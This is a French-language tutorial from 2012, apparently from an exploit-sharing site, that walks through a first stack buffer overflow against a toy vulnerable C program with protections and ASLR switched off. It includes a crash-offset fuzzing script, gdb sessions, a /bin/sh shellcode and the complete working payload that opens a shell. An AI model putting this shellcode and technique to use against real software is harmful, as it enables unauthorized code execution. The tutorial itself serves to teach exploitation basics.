[Fr Paper] Votre première exploitation de BOF

Download | Vote Up (3) | Vote Down (0)

# Author : fr0g
# Website : http://hwc-crew.com
# Date : 02/02/2012
# Thank's : Storn( pwn-network.com ), int_0x80( big-daddy.fr )

Hello all, avant que les esprits ne s'échauffent, je tiens à préciser qu'il est préférable, pour
ne pas dire necéssaire voir "indispensable", d'avoir des connaissances sur le fonctionnement
d'un processeur, l'Assembleur, et une connaissance théorique des failles de type "Stack Overflow"
afin de pouvoir suivre ce tutoriel en le comprenant correctement, je vais procéder à l'exploitation d'un programme "bidon" en vous expliquant les
étapes au fur et à mesure, toutefois, je vais essayer de me montrer le plus explicite possible .

(NOTE : les mots suivis d'un "*" (exemple : BOF*) sont expliqués en bas de l'article )

Analysons le programme qui va être exploité :

 1
 2#include <string.h>
 3void overflow(const char* buf) {
 4        char buffer[256];
 5        strcpy(buffer, buf);
 6        printf("Fermeture du programme ...\n");
 7}
 8
 9int main(int argc, char *argv[]) {   // premiere fonction appelée par le programme (avec un argument en paramètre)
10        if(argc > 1){                     // si un argument est donné
11
12        overflow(argv[1]);              // on appelle la fonction overflow avec notre argument en paramètre
13        }
14        else{                                                        Sinon
15                printf("Utilisation : ./vuln [arg]\n");
16        }
17
18        return 0;
19}

Afin de rendre notre executable vulnérable, on va le copiller de la manière suivante :

1
2gcc vuln.c -o vuln -fno-stack-protector -ggdb3 

(afin de désactiver la détection des Buffer overflow)

Passons un coup notre programme à execstack pour savoir si l'éxécution de la stack est possible :

Pour installer execstack (sous Debian) : sudo apt-get install execstack

Afin de savoir si le programme est vulnérable on fais :

1
2fr0g@HWCare:~/Bureau$ execstack -q vuln
3- vuln

Ceci nous signifie que la pile n'est pas executable, pour y remèdier, execstack
nous propose une fonction magique qui est :

1
2execstack -s vuln

On regarde à nouveau ? allez, soyons fous :

1
2fr0g@HWCare:~/Bureau$ execstack -q vuln
3X vuln

Yeaaah, il ne nous reste plus qu'a désactiver l'ASLR*, grâce à :

1
2sudo sysctl -w kernel.randomize_va_space=0

Trève de futilités mondaines, passons à l'exploitation :)

Afin de déterminer à combien d'octets notre buffer va déborder, je vous invite à utiliser ce script:

 1
 2# --------------------------------------------------------------------------------------------------------------------------------------
 3
 4#coding=utf-8
 5#
 6# Desc : Petit script (faisant partie d'un de mes projets actuels)
 7# effectuant un test un peu (beaucoup) bourrin afin de verifier
 8# la présence ou non d'une faille de Stack Overflow
 9# dans l'argument principal dans un executable quelconque.
10     
11import os
12import commands
13import sys
14
15
16# --------------------------------------------------Class (color)
17class bcolors:
18HEADER = '\033[36m'
19OKBLUE = '\033[94m'
20OKGREEN = '\033[92m'
21WARNING = '\033[31m'
22ENDC = '\033[0m'
23
24
25
26
27# -------------------------------------------------FONCTIONS
28
29def header():
30    os.system('clear')
31
32    print bcolors.HEADER + """
33- E.X.P.S.T.A.C.K -
34
35[*] Author : fr0g
36[*] WebSite : http://hwc-crew.com
37[*] Th'x : Storn
38   
39    """+ bcolors.ENDC
40
41def exp(cible):
42   
43
44   
45    compteur = 1
46    cmd = str("./"+str(cible)+" `python -c \"print "+str(compteur)+"*'\x90'\"`")
47    rep = commands.getoutput(cmd)
48
49    while (rep != "Segmentation fault"):
50            header()
51            compteur += 1
52            print bcolors.OKBLUE + "[*] App : " + str(cible) +bcolors.ENDC
53            print  bcolors.OKGREEN + "\n[*] Inject : " + str(compteur) + " Bytes" +  bcolors.ENDC
54            cmd = str("./"+str(cible)+" `python -c \"print "+str(compteur)+"*'\x90'\"`")
55            rep = commands.getoutput(cmd)
56           
57           
58    print bcolors.WARNING + "\n[!] Stack Overflow at : " + str(compteur) + " Bytes in the buffer \n\n"+bcolors.ENDC
59
60   
61   
62   
63
64#--------------------------------------------------------Start here
65
66
67if (len(sys.argv) < 2):
68    print bcolors.WARNING + "\n[*] Where is your f*ckin binary ? \n[*] Use : ./findstackof [app] \n" + bcolors.ENDC
69else:
70    header()
71
72    if (os.path.isfile(sys.argv[1])):
73            try:   
74                    exp(sys.argv[1])
75            except:
76                    print bcolors.WARNING + "\n Error" + bcolors.ENDC
77    else:
78            print bcolors.WARNING + "\n Error : Unknown file ..." + bcolors.ENDC
79
80#----------------------------------------------------------------------------------------------------------------------------------------

On le lance avec le nom de notre application en paramètres :

 1
 2fr0g@HWCare:~/Bureau$ python findstackof.py vuln
 3
 4- E.X.P.S.T.A.C.K -
 5
 6[*] Author : fr0g
 7[*] WebSite : http://hwc-crew.com
 8[*] Th'x : Storn
 9        
10        
11[*] App : vuln
12
13[*] Inject : 264 Bytes
14
15[!] Seg fault at : 264 Bytes in the buffer 
16
17fr0g@HWCare:~/Bureau$ 

On sait donc qu'a partir de 264 Octets, notre programme va planter : un petit test à l'ancienne :

1
2fr0g@HWCare:~/Bureau$ ./vuln `python -c "print 264*'A'"` 
3Fermeture du programme ...
4Erreur de segmentation
5fr0g@HWCare:~/Bureau$ ./vuln `python -c "print 263*'A'"` 
6Fermeture du programme ...
7fr0g@HWCare:~/Bureau$ 

Comme on le voit ici, le programme se ferme correctement à 263 octets, mais si on lui en donne
264, il plante. Maintenant, désassemblons notre executable avec cet outil magique qu'est le Gnu DeBugger,
puis on va placer quelques octets (précisément des NOP (\x90)) dans l'argument sur lequel va travailler le programme, (dans le cas présent, j'en ai mis 270)

 1
 2fr0g@HWCare:~/Bureau$ gdb vuln
 3...
 4(gdb) r `python -c "print 270*'\x90'"`
 5Starting program: /home/fr0g/Bureau/vuln `python -c "print 270*'\x90'"`
 6Fermeture du programme ...
 7
 8Program received signal SIGSEGV, Segmentation fault.
 90x08009090 in ?? ()
10(gdb) 

Si on regarde de plus près, l'adresse renvoyée par gdb : 0x08009090, on voit que les 2 derniers
octets de l'adresse sont 9090 (90 est la valeur hexadécimale correspondant à l'instruction NOP en Assembleur)

Afin d'être certain que ce n'est pas une conïncidence, essayons avec deux NOP en plus:

1
2(gdb) r `python -c "print 272*'\x90'"`
3Starting program: /home/fr0g/Bureau/vuln `python -c "print 272*'\x90'"`
4Fermeture du programme ...
5
6Program received signal SIGSEGV, Segmentation fault.
70x90909090 in ?? ()
8(gdb) 

BINGO !!!, Maintenant, un peu de calcul (rien de difficile ^^)

Je m'explique, l'adresse renvoyée par gdb correspond à ce que contient le registre EIP
(qui est censé contenir en permanencel'adresse de la prochaine instruction à éxécuter),

autrement dit, il va falloir retirer au nombre de NOP entrés en paramètre, le nombre d'octets que l'on voudra placer dans EIP,
afin qu'il pointe sur notre shellcode.

Donc : 272-4 = 268 NOPS

Essayons comme ceci :

 1
 2(gdb) r `python -c "print 268*'\x90' + 'ABCD'"`
 3The program being debugged has been started already.
 4Start it from the beginning? (y or n) y
 5
 6Starting program: /home/fr0g/Bureau/vuln `python -c "print 268*'\x90' + 'ABCD'"`
 7Fermeture du programme ...
 8
 9Program received signal SIGSEGV, Segmentation fault.
100x44434241 in ?? ()

EIP contient maintenant 0x44434241, ceci correspond à BCDA en hexadécimal,

http://fr.wikipedia.org/wiki/Endianness

c'est pareil pour les octets de l'adresse que l'on va placer dans la pile,
pour connaitre cette adresse, on observe les registres du processeur après avoir fais planter le programme
avec la dernière commande :

 1
 2(gdb) info reg
 3eax            0x1b        27
 4ecx            0xffffffff        -1
 5edx            0x2bb398        2864024
 6ebx            0x2b9ff4        2858996
 7esp            0xbffff610        0xbffff610
 8ebp            0x90909090        0x90909090
 9esi            0x0        0
10edi            0x0        0
11eip            0x44434241        0x44434241
12eflags         0x10282        [ SF IF RF ]
13cs             0x73        115
14ss             0x7b        123
15ds             0x7b        123
16es             0x7b        123
17fs             0x0        0
18gs             0x33        51
19(gdb) 

EIP contient bien les octets que l'on à placé après les nops, allons jetter un oeil
au registre esp :

 1
 2(gdb) x/64x $esp
 30xbffff7d0:        0x724e4038        0xe64d71aa        0x69086bdd        0x00363836
 40xbffff7e0:        0x6d6f682f        0x72662f65        0x422f6730        0x61657275
 50xbffff7f0:        0x75762f75        0x90006e6c        0x90909090        0x90909090
 60xbffff800:        0x90909090        0x90909090        0x90909090        0x90909090
 70xbffff810:        0x90909090        0x90909090        0x90909090        0x90909090
 80xbffff820:        0x90909090        0x90909090        0x90909090        0x90909090
 90xbffff830:        0x90909090        0x90909090        0x90909090        0x90909090
100xbffff840:        0x90909090        0x90909090        0x90909090        0x90909090
110xbffff850:        0x90909090        0x90909090        0x90909090        0x90909090
120xbffff860:        0x90909090        0x90909090        0x90909090        0x90909090
130xbffff870:        0x90909090        0x90909090        0x90909090        0x90909090
140xbffff880:        0x90909090        0x90909090        0x90909090        0x90909090
150xbffff890:        0x90909090        0x90909090        0x90909090        0x90909090
160xbffff8a0:        0x90909090        0x90909090        0x90909090        0x90909090

Il ne nous reste plus qu'à noter une adresse qui tombe dans les NOP : 0xbffff800

Allez, on repars dans un petit calcul, le Shellcode que l'on va utiliser est un simple /bin/sh
de 24 octets :

1
2\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80

( Source : http://big-daddy.fr/repository/C0dz/binsh%28Djo%29.txt )

Comme précédemment, il faut retirer au nombre de NOP le nombre d'octets composants shellcode, soit :

268 - 24 = 244
Notre exploit va se constituer de la manière suivante :

les 244 NOP + le shellcode + l'adresse de retour, il ne reste plus qu'a essayer, on lance l'exploit :

Je rapelle que notre adresse doit être ecrite afin de correspondre au principe de LIFO, donc 0xbffff800 = bffff800 = \x00\xf8\xff\xbf
ce qui donne :

1
2`python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`
 1
 2(gdb) r `python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`
 3The program being debugged has been started already.
 4Start it from the beginning? (y or n) y
 5
 6Starting program: /home/fr0g/Bureau/vuln `python -c "print 244*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`
 7Fermeture du programme ...
 8
 9Program received signal SIGSEGV, Segmentation fault.
100x00bffff8 in ?? ()
11(gdb) 

Hmm, la fatigue me prends, une erreur de calcul manifestement,
on voit clairement que l'adresse que l'on a placée dans l'argument avec les NOP et le shellcode n'est pas correctement
placée dans EIP, mais cela n'est pas très grave, ajoutons un NOP histoire de la décaler, ce qui donne cet exploit :

1
2`python -c "print 245*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`

Cette fois, ça devrait fonctionner, on quitte gdb, et on lance l'application avec notre exploit en paramètre :

1
2fr0g@HWCare:~/Bureau$ ./vuln `python -c "print 245*'\x90' + '\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x00\xf8\xff\xbf'"`
3Fermeture du programme ...
4$ echo 'Just a stack overflow !!!'
5Just a stack overflow !!!
6$ 

Notre shellcode s'est éxécuté, et à correctement appelé le /bin/sh :)

Voilà, j'espère que j'ai été assez clair, bien que j'ai précisé que ce tutoriel s'adresse principalement aux initiés en langage Assembleur .

Cordialement, fr0g.

##############################################################################################

Lexique :

BOF : Abréviation de Buffer Overflow
ASLR : "Address space layout randomization" : permet de rendre aléatoir les adresses de pile
LIFO : Last In First Out => http://fr.wikipedia.org/wiki/Last_in,_first_out

##############################################################################################

fr0g


Be the first to give feedback !

Please login to comment !